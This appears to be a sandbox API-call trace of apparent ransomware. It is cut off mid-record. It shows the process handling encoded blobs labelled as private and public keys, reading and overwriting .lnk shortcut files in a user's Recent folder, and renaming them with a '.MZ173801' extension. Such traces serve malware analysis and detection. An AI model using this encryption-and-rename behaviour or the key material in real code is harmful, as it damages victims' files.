lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.900] GetCurrentThreadId () returned 0xab4 [0148.900] GetCurrentThreadId () returned 0xab4 [0148.900] GetCurrentThreadId () returned 0xab4 [0148.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.901] GetCurrentThreadId () returned 0xab4 [0148.901] GetCurrentThreadId () returned 0xab4 [0148.901] GetCurrentThreadId () returned 0xab4 [0148.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nDZdZhLaQYg.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ndzdzhlaqyg.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.901] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.901] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.901] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x28d [0148.901] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.901] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x28d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x28d, lpOverlapped=0x0) returned 1 [0148.903] CloseHandle (hObject=0x280) returned 1 [0148.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nDZdZhLaQYg.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ndzdzhlaqyg.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.904] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x28d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x28d, lpOverlapped=0x0) returned 1 [0148.905] CloseHandle (hObject=0x280) returned 1 [0150.442] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nDZdZhLaQYg.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ndzdzhlaqyg.ots.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nDZdZhLaQYg.ots.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ndzdzhlaqyg.ots.lnk.mz173801")) returned 1 [0150.443] GetCurrentThreadId () returned 0xab4 [0150.443] GetCurrentThreadId () returned 0xab4 [0150.443] GetCurrentThreadId () returned 0xab4 [0150.443] GetCurrentThreadId () returned 0xab4 [0150.443] GetCurrentThreadId () returned 0xab4 [0150.443] GetCurrentThreadId () returned 0xab4 [0150.443] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819674d6, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x819674d6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x819674d6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Ng-XMX.lnk", cAlternateFileName="")) returned 1 [0150.444] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.444] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ng-XMX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ng-xmx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819674d6, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x819674d6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x819674d6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47f)) returned 1 [0150.444] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ng-XMX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ng-xmx.lnk")) returned 0x20 [0150.444] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ng-XMX.lnk", dwFileAttributes=0x80) returned 1 [0150.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 